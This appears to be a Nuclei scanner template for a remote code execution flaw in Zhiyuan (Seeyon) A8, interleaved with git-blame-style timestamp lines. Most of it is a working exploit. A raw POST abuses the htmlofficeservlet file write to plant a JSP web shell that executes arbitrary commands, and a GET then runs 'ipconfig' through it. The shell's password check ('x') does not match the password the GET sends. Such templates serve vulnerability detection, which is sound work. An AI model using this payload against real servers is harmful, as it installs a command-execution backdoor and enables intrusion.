2022-02-20 13:04:55 +00:00
|
|
|
id: CNVD-2019-19299
|
|
|
|
|
|
|
|
info:
|
2022-05-13 20:26:43 +00:00
|
|
|
name: Zhiyuan A8 - Remote Code Execution
|
2022-02-20 13:04:55 +00:00
|
|
|
author: daffainfo
|
|
|
|
severity: critical
|
2022-05-13 20:26:43 +00:00
|
|
|
description: Zhiyuan A8 is susceptible to remote code execution because of an arbitrary file write issue.
|
2022-02-20 13:04:55 +00:00
|
|
|
reference:
|
|
|
|
- https://www.cxyzjd.com/article/guangying177/110177339
|
|
|
|
- https://github.com/sectestt/CNVD-2019-19299
|
2022-05-13 20:26:43 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
2023-10-14 11:27:55 +00:00
|
|
|
cvss-score: 10
|
2022-05-13 20:26:43 +00:00
|
|
|
cwe-id: CWE-77
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 2
|
2024-01-14 09:21:50 +00:00
|
|
|
tags: cnvd2019,cnvd,zhiyuan,rce,intrusive
|
2022-02-20 13:04:55 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-02-20 13:04:55 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /seeyon/htmlofficeservlet HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Pragma: no-cache
|
|
|
|
Cache-Control: no-cache
|
|
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q =0.8,application/signed-exchange;v=b3
|
|
|
|
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
|
|
|
|
Connection: close
|
|
|
|
|
|
|
|
DBSTEP V3. 0 343 0 658 DBSTEP=OKMLlKlV
|
|
|
|
OPTION=S3WYOSWLBSGr
|
|
|
|
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
|
|
|
|
= WUghPB3szB3Xwg66 the CREATEDATE
|
|
|
|
recordID = qLSGw4SXzLeGw4V3wUw3zUoXwid6
|
|
|
|
originalFileId = wV66
|
|
|
|
originalCreateDate = wUghPB3szB3Xwg66
|
|
|
|
FILENAME = qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdb4o5nHzs
|
|
|
|
needReadFile = yRWZdAS6
|
|
|
|
originalCreateDate IZ = 66 = = wLSGP4oEzLKAz4
|
2022-02-28 19:12:43 +00:00
|
|
|
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder ();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine( )) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString() ;} %><%if("x".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("{{randstr}}"))){out.println("<pre>" +excuteCmd(request.getParameter("{{randstr}}")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce
|
2022-02-20 13:04:55 +00:00
|
|
|
- |
|
2022-02-28 19:12:43 +00:00
|
|
|
GET /seeyon/test123456.jsp?pwd=asasd3344&{{randstr}}=ipconfig HTTP/1.1
|
2022-02-20 13:04:55 +00:00
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'status_code_2 == 200'
|
|
|
|
- 'contains(body_1, "htmoffice operate")'
|
|
|
|
- 'contains(body_2, "Windows IP")'
|
2023-10-14 11:27:55 +00:00
|
|
|
condition: and
|
2024-01-26 08:31:11 +00:00
|
|
|
# digest: 4a0a004730450221009360315ece75ec5c9316007a233b61043694e13c5a244b98a6cd82b66123830302203191ef9220a5dce44e15568f6ae55424d1e76df6e730da4681b468967c70d4d6:922c64590222798bb761d5b6d8e72950
|